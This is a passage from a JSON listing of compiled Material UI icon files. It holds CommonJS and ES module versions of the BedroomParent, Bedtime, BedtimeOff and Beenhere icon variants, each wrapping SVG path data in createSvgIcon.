    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.35 11.45V9c0-1.1-.9-2-2-2H13c-.37 0-.72.12-1 .32-.28-.2-.63-.32-1-.32H7.65c-1.1 0-2 .9-2 2v2.45c-.4.46-.65 1.06-.65 1.72V17h1.5v-1.5h11V17H19v-3.83c0-.66-.25-1.26-.65-1.72m-1.6-.95h-4v-2h4zm-9.5-2h4v2h-4zM17.5 14h-11v-1c0-.55.45-1 1-1h9c.55 0 1 .45 1 1zM20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'BedroomParentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.35 11.45V9c0-1.1-.9-2-2-2H13c-.37 0-.72.12-1 .32-.28-.2-.63-.32-1-.32H7.65c-1.1 0-2 .9-2 2v2.45c-.4.46-.65 1.06-.65 1.72V17h1.5v-1.5h11V17H19v-3.83c0-.66-.25-1.26-.65-1.72m-1.6-.95h-4v-2h4zm-9.5-2h4v2h-4zM17.5 14h-11v-1c0-.55.45-1 1-1h9c.55 0 1 .45 1 1zM20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'BedroomParentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12h-9c-.55 0-1 .45-1 1v1h11v-1c0-.55-.45-1-1-1M7.25 8.5h4v2h-4zm5.5 0h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1.75 15c-.41 0-.75-.34-.75-.75v-.75h-11v.75c0 .41-.34.75-.75.75S5 16.66 5 16.25v-3.08c0-.66.25-1.26.65-1.72V9c0-1.1.9-2 2-2H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h3.35c1.1 0 2 .9 2 2v2.45c.4.46.65 1.06.65 1.72v3.08c0 .41-.34.75-.75.75\"\n}, \"1\")], 'BedroomParentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12h-9c-.55 0-1 .45-1 1v1h11v-1c0-.55-.45-1-1-1M7.25 8.5h4v2h-4zm5.5 0h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1.75 15c-.41 0-.75-.34-.75-.75v-.75h-11v.75c0 .41-.34.75-.75.75S5 16.66 5 16.25v-3.08c0-.66.25-1.26.65-1.72V9c0-1.1.9-2 2-2H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h3.35c1.1 0 2 .9 2 2v2.45c.4.46.65 1.06.65 1.72v3.08c0 .41-.34.75-.75.75\"\n}, \"1\")], 'BedroomParentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 12h11v2h-11zm.75-3.5h4v2h-4zm5.5 0h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zm-3 15h-1.5v-1.5h-11V17H5v-5l.65-.55V7H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h5.35v4.45L19 12z\"\n}, \"1\")], 'BedroomParentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 12h11v2h-11zm.75-3.5h4v2h-4zm5.5 0h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zm-3 15h-1.5v-1.5h-11V17H5v-5l.65-.55V7H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h5.35v4.45L19 12z\"\n}, \"1\")], 'BedroomParentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm1-6.83c0-.66.25-1.26.65-1.72V9c0-1.1.9-2 2-2H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h3.35c1.1 0 2 .9 2 2v2.45c.4.46.65 1.06.65 1.72V17h-1.5v-1.5h-11V17H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 15.5h11V17H19v-3.83c0-.66-.25-1.26-.65-1.72V9c0-1.1-.9-2-2-2H13c-.37 0-.72.12-1 .32-.28-.2-.63-.32-1-.32H7.65c-1.1 0-2 .9-2 2v2.45c-.4.46-.65 1.06-.65 1.72V17h1.5zm6.25-7h4v2h-4zm-5.5 0h4v2h-4zM6.5 13c0-.55.45-1 1-1h9c.55 0 1 .45 1 1v1h-11z\"\n}, \"2\")], 'BedroomParentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedroomParentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm1-6.83c0-.66.25-1.26.65-1.72V9c0-1.1.9-2 2-2H11c.37 0 .72.12 1 .32.28-.2.63-.32 1-.32h3.35c1.1 0 2 .9 2 2v2.45c.4.46.65 1.06.65 1.72V17h-1.5v-1.5h-11V17H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 15.5h11V17H19v-3.83c0-.66-.25-1.26-.65-1.72V9c0-1.1-.9-2-2-2H13c-.37 0-.72.12-1 .32-.28-.2-.63-.32-1-.32H7.65c-1.1 0-2 .9-2 2v2.45c-.4.46-.65 1.06-.65 1.72V17h1.5zm6.25-7h4v2h-4zm-5.5 0h4v2h-4zM6.5 13c0-.55.45-1 1-1h9c.55 0 1 .45 1 1v1h-11z\"\n}, \"2\")], 'BedroomParentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bedtime.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 2.02C6.59 1.82 2 6.42 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.96\"\n}), 'Bedtime');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bedtime.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 2.02C6.59 1.82 2 6.42 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.96\"\n}), 'Bedtime');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.08 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.62 5.51-1.66l2.27 2.27zM12.34 2.02c-2.18-.07-4.19.55-5.85 1.64l4.59 4.59c-.27-2.05.1-4.22 1.26-6.23\"\n}), 'BedtimeOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.08 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.62 5.51-1.66l2.27 2.27zM12.34 2.02c-2.18-.07-4.19.55-5.85 1.64l4.59 4.59c-.27-2.05.1-4.22 1.26-6.23\"\n}), 'BedtimeOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.27 4.49c-.13.59-.2 1.15-.24 1.71l2.05 2.05c-.27-2.05.1-4.22 1.26-6.23-.12 0-.23-.01-.35-.01-2.05 0-3.93.61-5.5 1.65l1.46 1.46c.42-.24.86-.46 1.32-.63m-7.88-.27 2.27 2.27C2.61 8.07 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.92-.63 5.5-1.67l2.28 2.28 1.41-1.41L2.81 2.81zm3.74 3.74 10.92 10.92C14.84 19.6 13.45 20 12 20c-4.41 0-8-3.59-8-8 0-1.48.42-2.85 1.13-4.04\"\n}), 'BedtimeOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.27 4.49c-.13.59-.2 1.15-.24 1.71l2.05 2.05c-.27-2.05.1-4.22 1.26-6.23-.12 0-.23-.01-.35-.01-2.05 0-3.93.61-5.5 1.65l1.46 1.46c.42-.24.86-.46 1.32-.63m-7.88-.27 2.27 2.27C2.61 8.07 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.92-.63 5.5-1.67l2.28 2.28 1.41-1.41L2.81 2.81zm3.74 3.74 10.92 10.92C14.84 19.6 13.45 20 12 20c-4.41 0-8-3.59-8-8 0-1.48.42-2.85 1.13-4.04\"\n}), 'BedtimeOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.65 3.46c.27-.71-.36-1.45-1.12-1.34-1.48.21-2.85.76-4.04 1.54l4.59 4.59c-.2-1.56-.04-3.2.57-4.79m-9.55.05c-.39.39-.39 1.02 0 1.41l1.56 1.56c-1.4 2.11-2.02 4.77-1.46 7.56.79 3.94 3.99 7.07 7.94 7.78 2.74.49 5.3-.15 7.35-1.51l1.57 1.57c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'BedtimeOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.65 3.46c.27-.71-.36-1.45-1.12-1.34-1.48.21-2.85.76-4.04 1.54l4.59 4.59c-.2-1.56-.04-3.2.57-4.79m-9.55.05c-.39.39-.39 1.02 0 1.41l1.56 1.56c-1.4 2.11-2.02 4.77-1.46 7.56.79 3.94 3.99 7.07 7.94 7.78 2.74.49 5.3-.15 7.35-1.51l1.57 1.57c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'BedtimeOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.08 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.62 5.51-1.66l2.27 2.27zM12.34 2.02c-2.18-.07-4.19.55-5.85 1.64l4.59 4.59c-.27-2.05.1-4.22 1.26-6.23\"\n}), 'BedtimeOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.08 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.62 5.51-1.66l2.27 2.27zM12.34 2.02c-2.18-.07-4.19.55-5.85 1.64l4.59 4.59c-.27-2.05.1-4.22 1.26-6.23\"\n}), 'BedtimeOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.95 5.13 9.03 6.2c.05-.55.12-1.12.24-1.71-.46.17-.9.39-1.32.64M5.13 7.96C4.42 9.15 4 10.52 4 12c0 4.41 3.59 8 8 8 1.45 0 2.84-.4 4.05-1.12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.27 4.49c-.13.59-.2 1.15-.24 1.71l2.05 2.05c-.27-2.05.1-4.22 1.26-6.23-.12 0-.23-.01-.35-.01-2.05 0-3.93.61-5.5 1.65l1.46 1.46c.42-.24.86-.46 1.32-.63M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.92-.63 5.5-1.67l2.28 2.28 1.41-1.41zM12 20c-4.41 0-8-3.59-8-8 0-1.48.42-2.85 1.13-4.04l10.92 10.92C14.84 19.6 13.45 20 12 20\"\n}, \"1\")], 'BedtimeOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.95 5.13 9.03 6.2c.05-.55.12-1.12.24-1.71-.46.17-.9.39-1.32.64M5.13 7.96C4.42 9.15 4 10.52 4 12c0 4.41 3.59 8 8 8 1.45 0 2.84-.4 4.05-1.12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.27 4.49c-.13.59-.2 1.15-.24 1.71l2.05 2.05c-.27-2.05.1-4.22 1.26-6.23-.12 0-.23-.01-.35-.01-2.05 0-3.93.61-5.5 1.65l1.46 1.46c.42-.24.86-.46 1.32-.63M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.92-.63 5.5-1.67l2.28 2.28 1.41-1.41zM12 20c-4.41 0-8-3.59-8-8 0-1.48.42-2.85 1.13-4.04l10.92 10.92C14.84 19.6 13.45 20 12 20\"\n}, \"1\")], 'BedtimeOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.27 4.49c-1.63 7.54 3.75 12.41 7.66 13.8C15.54 19.38 13.81 20 12 20c-4.41 0-8-3.59-8-8 0-3.45 2.2-6.4 5.27-7.51m2.72-2.48C6.4 2.01 2 6.54 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.97z\"\n}), 'BedtimeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.27 4.49c-1.63 7.54 3.75 12.41 7.66 13.8C15.54 19.38 13.81 20 12 20c-4.41 0-8-3.59-8-8 0-3.45 2.2-6.4 5.27-7.51m2.72-2.48C6.4 2.01 2 6.54 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.97z\"\n}), 'BedtimeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.65 3.46c.27-.71-.36-1.45-1.12-1.34-5.52.8-9.47 6.07-8.34 11.88.78 4.02 4.09 7.21 8.14 7.87 3.74.61 7.16-.87 9.32-3.44.48-.57.19-1.48-.55-1.62-6.02-1.15-9.68-7.54-7.45-13.35\"\n}), 'BedtimeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.65 3.46c.27-.71-.36-1.45-1.12-1.34-5.52.8-9.47 6.07-8.34 11.88.78 4.02 4.09 7.21 8.14 7.87 3.74.61 7.16-.87 9.32-3.44.48-.57.19-1.48-.55-1.62-6.02-1.15-9.68-7.54-7.45-13.35\"\n}), 'BedtimeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 2.02C6.59 1.82 2 6.42 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.96\"\n}), 'BedtimeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 2.02C6.59 1.82 2 6.42 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.96\"\n}), 'BedtimeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.27 4.49C6.2 5.6 4 8.55 4 12c0 4.41 3.59 8 8 8 1.81 0 3.54-.62 4.93-1.71-3.91-1.39-9.29-6.26-7.66-13.8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.34 2.02c-.12 0-.23-.01-.35-.01C6.4 2.01 2 6.54 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.96M12 20c-4.41 0-8-3.59-8-8 0-3.45 2.2-6.4 5.27-7.51-1.63 7.54 3.75 12.41 7.66 13.8C15.54 19.38 13.81 20 12 20\"\n}, \"1\")], 'BedtimeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BedtimeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.27 4.49C6.2 5.6 4 8.55 4 12c0 4.41 3.59 8 8 8 1.81 0 3.54-.62 4.93-1.71-3.91-1.39-9.29-6.26-7.66-13.8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.34 2.02c-.12 0-.23-.01-.35-.01C6.4 2.01 2 6.54 2 12c0 5.52 4.48 10 10 10 3.71 0 6.93-2.02 8.66-5.02-7.51-.25-12.09-8.43-8.32-14.96M12 20c-4.41 0-8-3.59-8-8 0-3.45 2.2-6.4 5.27-7.51-1.63 7.54 3.75 12.41 7.66 13.8C15.54 19.38 13.81 20 12 20\"\n}, \"1\")], 'BedtimeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Beenhere.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66L12 23l8.11-5.41c.53-.36.88-.97.88-1.66L21 3c0-1.1-.9-2-2-2m-9 15-5-5 1.41-1.41L10 13.17l7.59-7.59L19 7z\"\n}), 'Beenhere');"
  },
  {
    "path": "packages/mui-icons-material/lib/Beenhere.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66L12 23l8.11-5.41c.53-.36.88-.97.88-1.66L21 3c0-1.1-.9-2-2-2m-9 15-5-5 1.41-1.41L10 13.17l7.59-7.59L19 7z\"\n}), 'Beenhere');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5c-1.1 0-1.99.9-1.99 2L3 15.93c0 .69.35 1.3.88 1.66L12 23l8.11-5.41c.53-.36.88-.97.88-1.66L21 3c0-1.1-.9-2-2-2m-7 19.6-7-4.66V3h14v12.93zm-2.01-7.42-2.58-2.59L6 12l4 4 8-8-1.42-1.42z\"\n}), 'BeenhereOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BeenhereOutlined.mjs",
